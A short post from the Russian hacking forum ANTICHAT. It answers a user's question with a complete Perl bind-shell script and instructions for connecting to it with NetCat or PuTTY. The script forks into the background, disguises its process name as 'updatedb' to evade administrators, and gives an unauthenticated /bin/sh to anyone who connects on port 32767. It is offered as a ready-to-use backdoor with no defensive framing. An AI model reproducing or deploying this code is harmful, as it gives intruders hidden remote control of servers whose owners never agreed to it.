ANTICHAT - Показать сообщение отдельно

Цитата:

та тут вобше не выполняется perl
или с начало надо на нет скане а потом пёрл-бин запускать
подскажите плызз

bind.pl
perl /путь_до_скрипта/bind.pl
потом с помощью putty или тот же NetCat => конектишься

PHP код:


		
			
#!/usr/bin/perl



$port = 32767; 

$port = $ARGV[0] if $ARGV[0];

exit if fork;

$0 = "updatedb" . " " x100;

$SIG{CHLD} = 'IGNORE';

use Socket;

socket(S, PF_INET, SOCK_STREAM, 0);

setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);

bind(S, sockaddr_in($port, INADDR_ANY));

listen(S, 50);

while(1)

{

accept(X, S);

unless(fork)

{

open STDIN, "<&X";

open STDOUT, ">&X";

open STDERR, ">&X";

close X;

exec("/bin/sh");

}

close X;

}

NetCat => ip_адресс_ресурса 32767 (enter)
putty => Host Name (or IP address) там пишим IP_адрес_ресурса(можно и просто адресс ресурса) => Port 32767 => OPEN
скрин